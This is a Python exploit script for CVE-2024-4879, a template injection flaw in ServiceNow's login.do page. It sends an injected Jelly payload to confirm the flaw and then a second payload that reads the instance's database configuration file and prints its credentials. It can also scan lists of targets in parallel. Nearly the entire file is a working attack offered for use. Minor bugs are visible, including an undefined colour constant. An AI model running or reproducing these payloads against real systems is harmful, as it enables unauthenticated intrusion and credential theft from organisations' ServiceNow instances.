#!/usr/bin/env python3
"""
# Title : ServiceNow Multiple Versions - Input Validation & Template Injection
# Date: 2025-01-31
# Author: ibrahimsql
# Vendor: ServiceNow
# Version: Vancouver, Washington DC, Utah (various patches)
# affected from 0 before Utah Patch 10 Hot Fix 3
# affected from 0 before Utah Patch 10a Hot Fix 2
# affected from 0 before Vancouver Patch 6 Hot Fix 2
# affected from 0 before Vancouver Patch 7 Hot Fix 3b
# affected from 0 before Vancouver Patch 8 Hot Fix 4
# affected from 0 before Vancouver Patch 9
# affected from 0 before Vancouver Patch 10
# affected from 0 before Washington DC Patch 1 Hot Fix 2b
# affected from 0 before Washington DC Patch 2 Hot Fix 2
# affected from 0 before Washington DC Patch 3 Hot Fix 1
# affected from 0 before Washington DC Patch 4
# Tested on: ServiceNow Platform
# CVE: CVE-2024-4879
# Category: Input Validation
# CVSS Score: 9.8 (Critical)
# CWE: CWE-20 (Improper Input Validation)
# Description:
# ServiceNow Platform contains an input validation vulnerability that allows
# unauthenticated remote code execution. The vulnerability affects Vancouver,
# Washington DC, and Utah releases of the Now Platform.
# Impact:
# - Unauthenticated remote code execution
# - Complete system compromise
# - Data exfiltration
# - Service disruption
# Requirements:
# - requests>=2.25.1
# - colorama>=0.4.4
# - urllib3
# Usage:
# python3 CVE-2024-4879.py -t https://target.service-now.com
# python3 CVE-2024-4879.py -f targets.txt
"""
from colorama import Fore, Style, init
import requests
import argparse
import urllib3
import concurrent.futures
import sys
import re
from urllib.parse import urlparse
# Initialize colorama
init(autoreset=True)
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Colors:
RED = Fore.RED
GREEN = Fore.GREEN
YELLOW = Fore.YELLOW
BLUE = Fore.BLUE
WHITE = Fore.WHITE
CYAN = Fore.CYAN
MAGENTA = Fore.MAGENTA
RESET = Style.RESET_ALL
banner = f"""
{Colors.CYAN}
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗ █████╗ ███████╗ █████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ██║ ██║██╔══██╗╚════██║██╔══██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗███████║╚█████╔╝ ██╔╝╚██████║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║██╔══██╗ ██╔╝ ╚═══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗ ██║ ██║╚█████╔╝ ██║ █████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚════╝ ╚═╝ ╚════╝
{Colors.RESET}
{Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET}
{Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET}
"""
class ServiceNowExploit:
def __init__(self, timeout=10, verbose=False):
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
def _log(self, level, message, url=""):
"""Enhanced logging with colors and levels"""
timestamp = "[*]"
if level == "success":
print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
elif level == "error":
print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
elif level == "warning":
print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
elif level == "info":
print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
elif level == "verbose" and self.verbose:
print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
def validate_url(self, url):
"""Validate and normalize URL format"""
if not url.startswith(('http://', 'https://')):
url = f"https://{url}"
try:
parsed = urlparse(url)
if not parsed.netloc:
return None
return url
except Exception:
return None
def check_target_reachability(self, url):
"""Check if target is reachable"""
try:
response = self.session.get(url, timeout=self.timeout)
if response.status_code == 200:
self._log("info", "Target is reachable", url)
return True
else:
self._log("warning", f"Target returned status {response.status_code}", url)
return False
except requests.exceptions.RequestException as e:
self._log("error", f"Target unreachable: {str(e)}", url)
return False
def exploit_vulnerability(self, url):
"""Main exploit function for CVE-2024-4879"""
try:
# Normalize URL
url = self.validate_url(url)
if not url:
self._log("error", "Invalid URL format")
return False
# Check reachability first
if not self.check_target_reachability(url):
return False
# Construct the exploit payload
exploit_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
exploit_url = f"{url}{exploit_path}"
self._log("info", "Testing for CVE-2024-4879 vulnerability", url)
# Send exploit request
response = self.session.get(exploit_url, timeout=self.timeout)
if self.verbose:
self._log("verbose", f"Response status: {response.status_code}")
self._log("verbose", f"Response length: {len(response.text)}")
# Check for vulnerability indicator
if response.status_code == 200 and "1337" in response.text:
self._log("success", "VULNERABLE - CVE-2024-4879 confirmed!", url)
# Attempt to extract sensitive information
info_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/conf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
info_url = f"{url}{info_path}"
try:
info_response = self.session.get(info_url, timeout=self.timeout)
if info_response.status_code == 200:
self._log("success", "Database configuration extracted!")
if self.verbose:
print(f"\n{Colors.YELLOW}=== Database Configuration ==={Colors.RESET}")
# Extract and display configuration data
config_data = self._extract_config_data(info_response.text)
if config_data:
print(config_data)
print(f"{Colors.YELLOW}================================{Colors.RESET}\n")
except Exception as e:
self._log("warning", f"Failed to extract configuration: {str(e)}")
return True
else:
self._log("error", "Not vulnerable or payload failed", url)
return False
except requests.exceptions.Timeout:
self._log("warning", "Connection timeout", url)
return False
except requests.exceptions.ConnectionError:
self._log("error", "Connection failed", url)
return False
except Exception as e:
self._log("error", f"Unexpected error: {str(e)}", url)
return False
def _extract_config_data(self, response_text):
"""Extract configuration data from response"""
try:
# Look for database configuration patterns
patterns = [
r'glide\.db\..*?=.*',
r'jdbc\..*?=.*',
r'database\..*?=.*'
]
extracted_data = []
for pattern in patterns:
matches = re.findall(pattern, response_text, re.IGNORECASE)
extracted_data.extend(matches)
return '\n'.join(extracted_data) if extracted_data else None
except Exception:
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2024-4879 ServiceNow Platform Input Validation Vulnerability Scanner",
epilog="Examples:\n python3 CVE-2024-4879.py -t https://target.service-now.com\n python3 CVE-2024-4879.py -f targets.txt -v",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument('-t', '--target', help="Single target to scan")
parser.add_argument('-f', '--file', help="File containing list of targets")
parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose output")
parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds (default: 10)")
parser.add_argument('--threads', type=int, default=10, help="Number of threads for concurrent scanning (default: 10)")
args = parser.parse_args()
if not args.target and not args.file:
parser.print_help()
sys.exit(1)
print(banner)
try:
exploit = ServiceNowExploit(timeout=args.timeout, verbose=args.verbose)
if args.target:
exploit.exploit_vulnerability(args.target)
if args.file:
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f.readlines() if line.strip()]
print(f"{Colors.INFO}[*]{Colors.RESET} Scanning {len(targets)} targets with {args.threads} threads...\n")
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
executor.map(exploit.exploit_vulnerability, targets)
except FileNotFoundError:
print(f"{Colors.RED}[-]{Colors.RESET} File not found: {args.file}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[-]{Colors.RESET} Error reading file: {str(e)}")
sys.exit(1)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!]{Colors.RESET} Scan interrupted by user")
sys.exit(0)
except Exception as e:
print(f"{Colors.RED}[-]{Colors.RESET} Unexpected error: {str(e)}")
sys.exit(1)
if __name__ == "__main__":
main()